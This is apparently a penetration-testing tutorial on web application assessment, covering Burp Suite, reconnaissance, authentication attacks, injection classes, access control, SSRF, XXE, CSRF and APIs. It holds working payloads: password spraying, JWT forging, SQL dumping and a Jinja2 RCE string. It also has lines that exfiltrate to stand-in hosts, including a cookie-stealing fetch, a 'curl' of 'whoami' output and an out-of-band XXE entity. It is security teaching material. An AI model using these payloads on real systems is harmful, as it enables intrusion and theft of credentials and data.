Web Application Analysis

Web Application Analysis

Methodical exploitation of the most common attack surface in modern engagements

18 min readUpdated 2026-04-18
#burp-suite#owasp#sqli#xss#ssrf#idor#jwt#api#ffuf
TL;DR
  • Burp Suite is the centrepiece — everything passes through its proxy for inspection, modification, and replay
  • SQL injection is the highest-impact injection class — database access frequently leads directly to OS-level command execution
  • XSS executes attacker JavaScript in the victim's browser — session theft, credential harvesting, keylogging, and DOM manipulation
  • Access control flaws (IDOR, forced browsing) are among the most common and highest-severity findings in modern assessments
  • SSRF reaches internal services the internet cannot — AWS metadata endpoints, internal APIs, and local admin interfaces

Overview

Web applications are the dominant attack surface in modern penetration tests. Unlike network services, they expose complex business logic, trust user-supplied input, and interact with databases, internal services, and third-party APIs — each a potential vector. A web app assessment is not a scanner run; it is a systematic walkthrough of every trust boundary the application crosses.

This article follows the standard assessment flow: setup > reconnaissance > authentication > input handling > access control > business logic > API surface.


Prerequisites

  • Comfortable with HTTP request/response structure (methods, headers, status codes, cookies)
  • Basic understanding of HTML and JavaScript
  • Familiarity with SQL syntax helps for injection testing

Recommended lab environment: DVWA, HackTheBox (web challenges), TryHackMe (OWASP Top 10 room), PortSwigger Web Security Academy (free, best-in-class labs)


Tooling Setup

Burp Suite

Burp Suite is the primary tool. Set your browser to proxy through 127.0.0.1:8080 and install the Burp CA certificate to intercept HTTPS.

bash
# Launch Burp (Community is free)
burpsuite &

# Or via terminal
java -jar burpsuite_community.jar

Essential Burp tabs:

  • Proxy > Intercept — pause and modify live requests
  • Repeater — replay and tweak individual requests
  • Intruder — automated payload injection (rate-limited in Community)
  • Scanner — passive/active scanning (Pro only)
  • Decoder — encode/decode Base64, URL, HTML, hex on the fly

Supporting Tools

bash
# Fast directory and parameter fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
     -u http://target.com/FUZZ

# Crawl + scan
nikto -h http://target.com -o nikto_output.txt

# JavaScript file analysis — find hidden endpoints
curl http://target.com/app.js | grep -Eo '"/[a-zA-Z0-9/_-]+'

# Fetch all JS files from a domain
gau target.com | grep "\.js$" | sort -u

Reconnaissance

Fingerprinting

bash
# Server headers, framework detection
curl -I http://target.com
whatweb http://target.com

# Technology stack (browser extension: Wappalyzer)
# CMS detection
wpscan --url http://target.com --enumerate u    # WordPress
droopescan scan drupal -u http://target.com     # Drupal

Directory & File Discovery

bash
# Directory brute-force
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
     -u http://target.com/FUZZ -mc 200,301,302,403

# File extensions — find config files, backups
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
     -u http://target.com/FUZZ \
     -e .php,.bak,.old,.txt,.config,.sql,.zip

# Recursive scan on interesting paths
feroxbuster -u http://target.com/api -w wordlist.txt --depth 3

Parameter Discovery

bash
# Find hidden GET parameters
arjun -u http://target.com/page -m GET

# Extract parameters from JS files and crawl
katana -u http://target.com -jc -o endpoints.txt

Authentication Testing

Common Auth Flaws

bash
# Username enumeration — time or response difference on valid vs invalid user
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
     -u http://target.com/login \
     -X POST -d "username=FUZZ&password=invalid" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -fs 1234    # filter by response size to find valid usernames

# Password spray — one password against many users (avoid lockout)
hydra -L users.txt -p 'Password123!' target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Default credentials
# admin:admin, admin:password, root:root, admin:1234
# Check default cred lists: SecLists/Passwords/Default-Credentials/

JWT Attacks

JWTs are signed tokens. Common vulnerabilities: alg:none, weak secrets, algorithm confusion.

bash
# Decode a JWT (no verification)
echo "eyJ..." | cut -d'.' -f2 | base64 -d 2>/dev/null | jq

# Crack weak JWT secret
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Algorithm confusion attack (RS256 > HS256)
# Use jwt_tool
python3 jwt_tool.py <token> -X a           # alg:none attack
python3 jwt_tool.py <token> -X s           # key confusion
python3 jwt_tool.py <token> -I -pc role -pv admin  # forge a claim

Injection

SQL Injection

The most impactful injection class — can yield full database dump or OS-level access.

bash
# Manual detection — add a quote and observe errors
' OR '1'='1
' OR 1=1--
" OR ""="

# Automated with sqlmap
sqlmap -u "http://target.com/item?id=1" --dbs --batch
sqlmap -u "http://target.com/item?id=1" -D targetdb -T users --dump --batch

# POST request — save request from Burp then:
sqlmap -r request.txt --dbs --batch

# Blind SQLi — boolean-based
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--

# Time-based blind
' AND SLEEP(5)--               # MySQL
'; WAITFOR DELAY '0:0:5'--     # MSSQL

sqlmap with WAF bypass:

bash
sqlmap -r request.txt --tamper=space2comment,between --level=3 --risk=2

Command Injection

bash
# Test payloads — inject into any field that might reach the OS
; id
| id
&& id
`id`
$(id)
%0aid      # URL-encoded newline

# Out-of-band (blind) — use interactsh or Burp Collaborator
; curl http://YOUR-OOB-HOST/$(whoami)
; nslookup $(whoami).YOUR-OOB-HOST

SSTI (Server-Side Template Injection)

bash
# Detection payloads — inject into any reflected parameter
{{7*7}}        # Jinja2 / Twig > returns 49
${7*7}         # FreeMarker / Thymeleaf
<%= 7*7 %>     # ERB (Ruby)
#{7*7}         # Mako

# Jinja2 RCE
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Use tplmap for automated SSTI exploitation
python3 tplmap.py -u "http://target.com/page?name=INJECT" --os-shell

XSS (Cross-Site Scripting)

XSS executes JavaScript in the victim's browser — session hijacking, credential theft, DOM manipulation.

bash
# Basic detection payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>
';alert(1)//
javascript:alert(1)

# Confirm via out-of-band — steal cookies without alert
<script>fetch('http://YOUR-OOB/'+document.cookie)</script>

# DOM-based XSS — check JS for dangerous sinks
# Sources: location.hash, location.search, document.referrer
# Sinks: innerHTML, eval(), document.write(), location.href
grep -Eo "innerHTML|eval\(|document\.write|location\.href" app.js

Stored XSS — High Impact

Stored XSS fires for every user who loads the page. Test every text input that displays back to other users: comments, profile fields, usernames, ticket titles.


Access Control

IDOR (Insecure Direct Object Reference)

bash
# Change numeric IDs in any request
GET /api/user/1337/profile      >  try /1336, /1, /2
GET /document?id=abc123         >  enumerate or tamper with ID

# Horizontal privilege escalation — access another user's data
# Vertical privilege escalation — access admin-only endpoints

# In Burp: use Intruder to fuzz numeric IDs
# Positions: /api/invoice/§1001§
# Payload: Numbers 1000–1100

Forced Browsing & Function-Level Access

bash
# Test admin endpoints without admin session
curl -H "Cookie: session=regular_user_token" http://target.com/admin/users
curl -H "Cookie: session=regular_user_token" http://target.com/api/v1/admin/export

# HTTP method tampering
curl -X PUT http://target.com/api/user/1/role -d '{"role":"admin"}'

SSRF (Server-Side Request Forgery)

SSRF tricks the server into making requests on your behalf — reaching internal services or cloud metadata.

bash
# Basic SSRF detection — inject into URL parameters, webhooks, image fetchers
http://127.0.0.1:80
http://localhost:22
http://169.254.169.254/latest/meta-data/           # AWS metadata
http://metadata.google.internal/computeMetadata/v1/ # GCP

# Bypass filters
http://0177.0.0.1/        # octal
http://0x7f000001/        # hex
http://127.1/             # shorthand
http://spoofed.domain.com > resolves to 127.0.0.1 (DNS rebinding)

# Blind SSRF — use interactsh or Burp Collaborator to confirm callback
http://YOUR-OOB-HOST/ssrf-test

XXE (XML External Entity)

XXE fires when an XML parser processes external entity declarations — file read, SSRF, sometimes RCE.

xml
<!-- Basic file read — inject into any XML input -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

<!-- Blind XXE — out-of-band exfiltration -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR-OOB/"> %xxe;]>

<!-- SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

CSRF (Cross-Site Request Forgery)

CSRF forces an authenticated user's browser to make an unintended request.

html
<!-- Test: does the endpoint require a CSRF token? -->
<!-- If not, craft a page that auto-submits a form -->
<form action="http://target.com/account/email" method="POST" id="csrf">
  <input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

<!-- Check mitigations:
     - SameSite cookie attribute (Lax/Strict blocks most CSRF)
     - CSRF token in form/header
     - Custom header requirement (X-Requested-With)
-->

API Security Testing

Modern apps expose REST or GraphQL APIs — often less hardened than the main app.

bash
# Discover API endpoints
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
     -u http://target.com/api/v1/FUZZ

# Check for API versioning issues — v1 may lack controls v2 added
curl http://target.com/api/v1/admin/users
curl http://target.com/api/v2/admin/users

# GraphQL introspection — dump the full schema
curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'

# GraphQL — test for IDOR, auth bypass, batching attacks
# Tool: graphw00f (fingerprint), clairvoyance (wordlist-based schema recovery)

Vulnerability Summary

VulnerabilityWhere to LookKey Test
SQLiURL params, form fields, cookies, headers' causes error or behavior change
XSSAny reflected/stored output<script>alert(1)</script> or OOB
IDORObject IDs in URLs and APIsIncrement/swap IDs across accounts
SSRFURL params, webhooks, file fetchershttp://169.254.169.254/
XXEXML upload, SOAP endpointsExternal entity in DOCTYPE
CSRFState-changing POST requestsMissing/bypassable CSRF token
SSTITemplate parameters, email fields{{7*7}} returns 49
JWT flawsAuthorization headeralg:none, weak secret

OPSEC Notes

  • Scanners like nikto are loud — they will appear in WAF logs within seconds. Use them only when stealth doesn't matter.
  • sqlmap with default settings sends thousands of requests. Use --level=1 --risk=1 for initial testing.
  • Burp's active scanner generates requests that look identical to an automated attack — confirm scope before enabling.
  • Every XSS payload that triggers an alert or OOB callback is logged by the application. Use unique payloads per test parameter.
  • SSRF probes to cloud metadata endpoints (169.254.169.254) are often monitored in hardened environments.

  • Exploitation — turn web vulnerabilities into shells (LFI > RCE, SQLi > OS access)
  • Post-Exploitation — what to do once you have a shell on the web server
  • Reconnaissance — deeper OSINT before touching the application